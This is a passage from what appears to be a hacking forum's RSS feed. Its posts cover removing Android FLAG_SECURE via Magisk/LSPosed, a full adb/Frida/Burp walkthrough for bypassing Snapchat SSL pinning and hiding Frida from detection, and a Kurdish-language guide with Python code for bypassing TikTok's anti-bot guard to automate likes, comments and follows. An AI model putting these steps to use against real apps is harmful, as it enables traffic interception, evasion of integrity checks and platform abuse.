<li><span style="font-size: large;" class="mycode_size">Install a module that disables the <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>FLAG_SECURE</code></div></div><span style="font-size: large;" class="mycode_size"> window flag. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Enable the module. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Select <span style="font-weight: bold;" class="mycode_b">Apply to All Apps</span> or specific target apps. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 5 — Reboot Device</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">A final reboot is required. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">After reboot, ELXposed loads the module during system startup. </span><br />
</li>
<li><div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>FLAG_SECURE</code></div></div><span style="font-size: large;" class="mycode_size"> is now removed at runtime by the hooking layer. </span><br />
</li>
</ul>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Conclusion</span></span><br />
<span style="font-size: large;" class="mycode_size">By rooting the device with <span style="font-weight: bold;" class="mycode_b">Magisk</span>, installing <span style="font-weight: bold;" class="mycode_b">ELXposed/LSPosed</span>, enabling a <span style="font-weight: bold;" class="mycode_b">FLAG_SECURE disabling module</span>, and rebooting, the system removes secure UI flags across applications during runtime. This setup allows developers and testers to freely capture screens in protected areas of their own apps or test environments.</span><br />
<span style="font-size: large;" class="mycode_size"><br />
The entire process can be summarized as:</span><br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">Root → Install ELXposed → Install FLAG_SECURE module → Reboot → Done.<br />
<br />
 <img src="https://h4kurd.online/images/smilies/dodgy.png" alt="Dodgy" title="Dodgy" class="smilie smilie_14" /> </span></span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://h4kurd.online/images/attachtypes/image.png" title="JPG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=76" target="_blank" title="">Screenshot_20260508_180136_Telegram.jpg</a> (Size: 378.38 KB / Downloads: 20)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Also Snapchat SSL bypassed ( Memory.scan )]]></title>
			<link>https://h4kurd.online/showthread.php?tid=537</link>
			<pubDate>Tue, 28 Apr 2026 11:45:42 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=223">Zzzz</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=537</guid>
			<description><![CDATA[<span style="font-size: large;" class="mycode_size"><img src="https://i0.wp.com/musically.com/wp-content/uploads/2022/06/snapchat-plus.jpg" loading="lazy"  alt="[Image: snapchat-plus.jpg]" class="mycode_img" /></span><br />
<br />
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">Phase 1: Burp Suite &amp; Network Configuration<br />
Before touching Frida, your device must be "talking" to your computer.<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Configure Burp Listener:</span><br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Open Burp Suite -&gt; <span style="font-weight: bold;" class="mycode_b">Proxy</span> -&gt; <span style="font-weight: bold;" class="mycode_b">Proxy Settings</span>.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Click <span style="font-weight: bold;" class="mycode_b">Add</span> under Proxy Listeners.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Set <span style="font-weight: bold;" class="mycode_b">Bind to port</span> to <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>8080</code></div></div><span style="font-size: large;" class="mycode_size">.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Set <span style="font-weight: bold;" class="mycode_b">Bind to address</span> to <span style="font-weight: bold;" class="mycode_b">All interfaces</span> (this allows your phone to connect).</span><br />
</li>
</ul>
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Set Android Proxy (via ADB):</span><br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Connect your phone via USB (ensure USB Debugging is on).</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Find your computer's local IP (e.g., <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>192.168.1.5</code></div></div><span style="font-size: large;" class="mycode_size">).</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Run this command to force all device traffic through Burp:<br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>adb shell settings put global http_proxy 192.168.1.5:8080</code></div></div></li>
</ul>
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Install Burp CA Certificate:</span><br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Since you are on <span style="font-weight: bold;" class="mycode_b">Android 15</span>, simply installing the certificate via "User Credentials" won't work for Snapchat. You must move it to the <span style="font-weight: bold;" class="mycode_b">System Store</span>.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Pro Tip:</span> The easiest way on modern Android is to use the <span style="font-weight: bold;" class="mycode_b">MagiskTrustUserCerts</span> module or a specific <span style="font-weight: bold;" class="mycode_b">BurpSuiteCert</span> Magisk module, which automatically moves user-installed certificates to the system level.</span><br />
</li>
</ul>
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Phase 2: Frida Setup<br />
Since you are on <span style="font-weight: bold;" class="mycode_b">Android 15</span>, ensure you are using Frida version <span style="font-weight: bold;" class="mycode_b">16.2.0</span> or higher for compatibility with the latest kernel changes.<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Push Frida Server:</span><br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code># Identify your architecture (likely arm64)
adb shell getprop ro.product.cpu.abi 
# Push the matching frida-server
adb push frida-server /data/local/tmp/
adb shell "chmod +x /data/local/tmp/frida-server"
adb shell "su -c /data/local/tmp/frida-server &amp;"</code></div></div></li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Verify Connection:</span> Run <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>frida-ps -U</code></div></div><span style="font-size: large;" class="mycode_size"> on your PC. If you see a list of phone processes, you’re ready.</span><br />
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Phase 3: Executing the Snapchat Bypass<br />
The script you linked is specifically tuned for the 2026 security headers.<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kill Snapchat first:</span><br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>adb shell am force-stop com.snapchat.android</code></div></div></li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Run the CodeShare Script:</span><br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>frida -U --codeshare mr-blackhole/snapchat-ssl-bypass-all-new-version-of-2026 -f com.snapchat.android</code></div></div><span style="font-size: large;" class="mycode_size"><span style="font-style: italic;" class="mycode_i">Wait for the app to spawn.</span> You should see terminal output indicating that various SSL methods (OkHttp, Cronet, etc.) are being "hooked."</span><br />
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Phase 4: Verification<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Go to <span style="font-weight: bold;" class="mycode_b">Burp Suite</span> -&gt; <span style="font-weight: bold;" class="mycode_b">Proxy</span> -&gt; <span style="font-weight: bold;" class="mycode_b">HTTP History</span>.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">In Snapchat, attempt to log in or refresh.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">You should see traffic appearing for domains like <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>aws.api.snapchat.com</code></div></div><span style="font-size: large;" class="mycode_size"> or <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>auth.snapchat.com</code></div></div><span style="font-size: large;" class="mycode_size">.</span><br />
</li>
</ol>
<span style="font-size: large;" class="mycode_size">Critical Troubleshooting for 2026<br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Targeting Cronet:</span> Snapchat heavily uses the Cronet engine. If you see "handshake failed" in Burp but the script says "hooked," you may need to disable <span style="font-weight: bold;" class="mycode_b">HTTP/3 (QUIC)</span> in Burp Suite (Project options -&gt; HTTP -&gt; Disable QUIC), as Burp cannot intercept QUIC traffic yet.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Integrity Issues:</span> If Snapchat crashes immediately, it has detected Frida. You may need to run Frida in <span style="font-weight: bold;" class="mycode_b">spawn mode</span> (the <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>-f</code></div></div><span style="font-size: large;" class="mycode_size"> flag used above) or use a "Zygisk-Frida" module to hide the injection.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Reverting:</span> When finished, clear your proxy or your phone will lose internet:<br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>adb shell settings put global http_proxy :0</code></div></div></li>
</ul>
<span style="font-size: large;" class="mycode_size"><br />
<img src="https://i.ibb.co/nsTcZwBX/image-2026-04-28-18-40-12.png" loading="lazy"  alt="[Image: image-2026-04-28-18-40-12.png]" class="mycode_img" /></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size"><img src="https://i.ibb.co/QjTbtGRs/photo-2026-04-28-18-44-26.jpg" loading="lazy"  alt="[Image: photo-2026-04-28-18-44-26.jpg]" class="mycode_img" /></span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-size: large;" class="mycode_size">SnapChat Mobile Apis</span></div>]]></description>
			<content:encoded><![CDATA[<span style="font-size: large;" class="mycode_size"><img src="https://i0.wp.com/musically.com/wp-content/uploads/2022/06/snapchat-plus.jpg" loading="lazy"  alt="[Image: snapchat-plus.jpg]" class="mycode_img" /></span><br />
<br />
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">Phase 1: Burp Suite &amp; Network Configuration<br />
Before touching Frida, your device must be "talking" to your computer.<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Configure Burp Listener:</span><br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Open Burp Suite -&gt; <span style="font-weight: bold;" class="mycode_b">Proxy</span> -&gt; <span style="font-weight: bold;" class="mycode_b">Proxy Settings</span>.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Click <span style="font-weight: bold;" class="mycode_b">Add</span> under Proxy Listeners.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Set <span style="font-weight: bold;" class="mycode_b">Bind to port</span> to <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>8080</code></div></div><span style="font-size: large;" class="mycode_size">.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Set <span style="font-weight: bold;" class="mycode_b">Bind to address</span> to <span style="font-weight: bold;" class="mycode_b">All interfaces</span> (this allows your phone to connect).</span><br />
</li>
</ul>
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Set Android Proxy (via ADB):</span><br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Connect your phone via USB (ensure USB Debugging is on).</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Find your computer's local IP (e.g., <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>192.168.1.5</code></div></div><span style="font-size: large;" class="mycode_size">).</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Run this command to force all device traffic through Burp:<br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>adb shell settings put global http_proxy 192.168.1.5:8080</code></div></div></li>
</ul>
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Install Burp CA Certificate:</span><br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Since you are on <span style="font-weight: bold;" class="mycode_b">Android 15</span>, simply installing the certificate via "User Credentials" won't work for Snapchat. You must move it to the <span style="font-weight: bold;" class="mycode_b">System Store</span>.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Pro Tip:</span> The easiest way on modern Android is to use the <span style="font-weight: bold;" class="mycode_b">MagiskTrustUserCerts</span> module or a specific <span style="font-weight: bold;" class="mycode_b">BurpSuiteCert</span> Magisk module, which automatically moves user-installed certificates to the system level.</span><br />
</li>
</ul>
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Phase 2: Frida Setup<br />
Since you are on <span style="font-weight: bold;" class="mycode_b">Android 15</span>, ensure you are using Frida version <span style="font-weight: bold;" class="mycode_b">16.2.0</span> or higher for compatibility with the latest kernel changes.<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Push Frida Server:</span><br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code># Identify your architecture (likely arm64)
adb shell getprop ro.product.cpu.abi 
# Push the matching frida-server
adb push frida-server /data/local/tmp/
adb shell "chmod +x /data/local/tmp/frida-server"
adb shell "su -c /data/local/tmp/frida-server &amp;"</code></div></div></li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Verify Connection:</span> Run <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>frida-ps -U</code></div></div><span style="font-size: large;" class="mycode_size"> on your PC. If you see a list of phone processes, you’re ready.</span><br />
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Phase 3: Executing the Snapchat Bypass<br />
The script you linked is specifically tuned for the 2026 security headers.<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kill Snapchat first:</span><br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>adb shell am force-stop com.snapchat.android</code></div></div></li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Run the CodeShare Script:</span><br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>frida -U --codeshare mr-blackhole/snapchat-ssl-bypass-all-new-version-of-2026 -f com.snapchat.android</code></div></div><span style="font-size: large;" class="mycode_size"><span style="font-style: italic;" class="mycode_i">Wait for the app to spawn.</span> You should see terminal output indicating that various SSL methods (OkHttp, Cronet, etc.) are being "hooked."</span><br />
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Phase 4: Verification<br />
</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Go to <span style="font-weight: bold;" class="mycode_b">Burp Suite</span> -&gt; <span style="font-weight: bold;" class="mycode_b">Proxy</span> -&gt; <span style="font-weight: bold;" class="mycode_b">HTTP History</span>.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">In Snapchat, attempt to log in or refresh.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">You should see traffic appearing for domains like <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>aws.api.snapchat.com</code></div></div><span style="font-size: large;" class="mycode_size"> or <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>auth.snapchat.com</code></div></div><span style="font-size: large;" class="mycode_size">.</span><br />
</li>
</ol>
<span style="font-size: large;" class="mycode_size">Critical Troubleshooting for 2026<br />
</span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Targeting Cronet:</span> Snapchat heavily uses the Cronet engine. If you see "handshake failed" in Burp but the script says "hooked," you may need to disable <span style="font-weight: bold;" class="mycode_b">HTTP/3 (QUIC)</span> in Burp Suite (Project options -&gt; HTTP -&gt; Disable QUIC), as Burp cannot intercept QUIC traffic yet.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Integrity Issues:</span> If Snapchat crashes immediately, it has detected Frida. You may need to run Frida in <span style="font-weight: bold;" class="mycode_b">spawn mode</span> (the <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>-f</code></div></div><span style="font-size: large;" class="mycode_size"> flag used above) or use a "Zygisk-Frida" module to hide the injection.</span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Reverting:</span> When finished, clear your proxy or your phone will lose internet:<br />
Bash<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>adb shell settings put global http_proxy :0</code></div></div></li>
</ul>
<span style="font-size: large;" class="mycode_size"><br />
<img src="https://i.ibb.co/nsTcZwBX/image-2026-04-28-18-40-12.png" loading="lazy"  alt="[Image: image-2026-04-28-18-40-12.png]" class="mycode_img" /></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size"><img src="https://i.ibb.co/QjTbtGRs/photo-2026-04-28-18-44-26.jpg" loading="lazy"  alt="[Image: photo-2026-04-28-18-44-26.jpg]" class="mycode_img" /></span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-size: large;" class="mycode_size">SnapChat Mobile Apis</span></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Bypass Tiktok Guard ~ Automation]]></title>
			<link>https://h4kurd.online/showthread.php?tid=535</link>
			<pubDate>Sat, 25 Apr 2026 04:50:15 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=223">Zzzz</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=535</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: x-large;" class="mycode_size">slaw barezan am babata kamek qwll w dwr drezha hewadarm aesfaday le bkan </span></div>
<div style="text-align: left;" class="mycode_align">
<div style="text-align: center;" class="mycode_align"><img src="https://i.postimg.cc/5yfqct18/DHS-Tik-Tok-Logos.jpg" loading="lazy"  width="600" height="400" alt="[Image: DHS-Tik-Tok-Logos.jpg]" class="mycode_img" /></div>
</div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">Peshaki :</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">lam raportada bas la choniaty drws krdni krdari automation la sar barnamay tiktok dakayn ka pewist nakat aw karw baranay ka daykayt  ba dasti bn  wak like comment follow ..................... la regay capture krdni traffic y tiktok mobile api </span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">pedawistyakan:</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">1- <a href="https://www.python.org/" target="_blank" rel="noopener" class="mycode_url">https://www.python.org/</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">2- <a href="https://frida.re/" target="_blank" rel="noopener" class="mycode_url">https://frida.re/</a> AND <a href="https://codeshare.frida.re/@Eltion/tiktok-ssl-pinning-bypass/" target="_blank" rel="noopener" class="mycode_url">https://codeshare.frida.re/@Eltion/tikto...ng-bypass/</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">3- <a href="https://developer.android.com/tools/adb" target="_blank" rel="noopener" class="mycode_url">https://developer.android.com/tools/adb</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">4- <a href="https://portswigger.net/burp" target="_blank" rel="noopener" class="mycode_url">https://portswigger.net/burp</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">5- <a href="https://code.visualstudio.com/" target="_blank" rel="noopener" class="mycode_url">https://code.visualstudio.com/</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">6- <a href="https://github.com/tr4cex/TikTok-Encryption" target="_blank" rel="noopener" class="mycode_url">https://github.com/tr4cex/TikTok-Encryption</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">Nawarok:</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">sarata python dabazenit lasar computer akat dwatr vscode w adb w pwestt ba mobile rooted haya dwatr buspsuite w  aw file ay la github danrawa  lagal install krdni frida la regay python  harwaha dabazandi frida-server bo away lasar mobile akat aesh bkat  ka laregya adbshell dayxayta kar dwatr pewistman ba file js y frida dabet ka laxali 2 m 2m link xoyaty amana amada dakait  dwatr </span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">am video ya hande asan karit bo dakat </span></div>
<div style="text-align: center;" class="mycode_align"><iframe width="560" height="315" src="//www.youtube-nocookie.com/embed/eXL8yCs8yfQ" frameborder="0" allowfullscreen="true"></iframe></div>
<div style="text-align: left;" class="mycode_align">```</div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">from tiktok_encryption import encrypt_params</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">import requests</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">base_params = {</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "aid": 1988,</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "secUid": "USER_SECUID",</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "count": 30,</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "cursor": 0,</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">}</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">signed_params = encrypt_params(base_params)</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">url = "https://www.tiktok.com/api/post/item_list/"</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">res = requests.get(url, params=signed_params)</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">print(res.json())</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">```</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">katek tiktok encryption bakar ahenit ba watayaki tr  aw encryption anay la traffic y requests akani tikt la burpsuite akatawa daybinit  datwani drwstian bkaytawa  wak  X-Bogus  .... awakani tr </span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">dwatr mamalakrdn lagar request akan dakayt <br />
<br />
bo har prsyarek comment bkan ba xosh 7aliawa hawkartan dabm . <img src="https://h4kurd.online/images/smilies/rolleyes.png" alt="Rolleyes" title="Rolleyes" class="smilie smilie_6" /></span> </div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: x-large;" class="mycode_size">slaw barezan am babata kamek qwll w dwr drezha hewadarm aesfaday le bkan </span></div>
<div style="text-align: left;" class="mycode_align">
<div style="text-align: center;" class="mycode_align"><img src="https://i.postimg.cc/5yfqct18/DHS-Tik-Tok-Logos.jpg" loading="lazy"  width="600" height="400" alt="[Image: DHS-Tik-Tok-Logos.jpg]" class="mycode_img" /></div>
</div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">Peshaki :</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">lam raportada bas la choniaty drws krdni krdari automation la sar barnamay tiktok dakayn ka pewist nakat aw karw baranay ka daykayt  ba dasti bn  wak like comment follow ..................... la regay capture krdni traffic y tiktok mobile api </span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">pedawistyakan:</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">1- <a href="https://www.python.org/" target="_blank" rel="noopener" class="mycode_url">https://www.python.org/</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">2- <a href="https://frida.re/" target="_blank" rel="noopener" class="mycode_url">https://frida.re/</a> AND <a href="https://codeshare.frida.re/@Eltion/tiktok-ssl-pinning-bypass/" target="_blank" rel="noopener" class="mycode_url">https://codeshare.frida.re/@Eltion/tikto...ng-bypass/</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">3- <a href="https://developer.android.com/tools/adb" target="_blank" rel="noopener" class="mycode_url">https://developer.android.com/tools/adb</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">4- <a href="https://portswigger.net/burp" target="_blank" rel="noopener" class="mycode_url">https://portswigger.net/burp</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">5- <a href="https://code.visualstudio.com/" target="_blank" rel="noopener" class="mycode_url">https://code.visualstudio.com/</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">6- <a href="https://github.com/tr4cex/TikTok-Encryption" target="_blank" rel="noopener" class="mycode_url">https://github.com/tr4cex/TikTok-Encryption</a></span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">Nawarok:</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">sarata python dabazenit lasar computer akat dwatr vscode w adb w pwestt ba mobile rooted haya dwatr buspsuite w  aw file ay la github danrawa  lagal install krdni frida la regay python  harwaha dabazandi frida-server bo away lasar mobile akat aesh bkat  ka laregya adbshell dayxayta kar dwatr pewistman ba file js y frida dabet ka laxali 2 m 2m link xoyaty amana amada dakait  dwatr </span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">am video ya hande asan karit bo dakat </span></div>
<div style="text-align: center;" class="mycode_align"><iframe width="560" height="315" src="//www.youtube-nocookie.com/embed/eXL8yCs8yfQ" frameborder="0" allowfullscreen="true"></iframe></div>
<div style="text-align: left;" class="mycode_align">```</div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">from tiktok_encryption import encrypt_params</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">import requests</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">base_params = {</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "aid": 1988,</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "secUid": "USER_SECUID",</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "count": 30,</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">    "cursor": 0,</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">}</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">signed_params = encrypt_params(base_params)</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">url = "https://www.tiktok.com/api/post/item_list/"</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">res = requests.get(url, params=signed_params)</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">print(res.json())</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">```</span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">katek tiktok encryption bakar ahenit ba watayaki tr  aw encryption anay la traffic y requests akani tikt la burpsuite akatawa daybinit  datwani drwstian bkaytawa  wak  X-Bogus  .... awakani tr </span></div>
<div style="text-align: left;" class="mycode_align"><span style="font-size: large;" class="mycode_size">dwatr mamalakrdn lagar request akan dakayt <br />
<br />
bo har prsyarek comment bkan ba xosh 7aliawa hawkartan dabm . <img src="https://h4kurd.online/images/smilies/rolleyes.png" alt="Rolleyes" title="Rolleyes" class="smilie smilie_6" /></span> </div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[WebRTC IP Leak, VPN & Proxy Bypass]]></title>
			<link>https://h4kurd.online/showthread.php?tid=534</link>
			<pubDate>Thu, 23 Apr 2026 10:59:08 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=294">hackedbynull</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=534</guid>
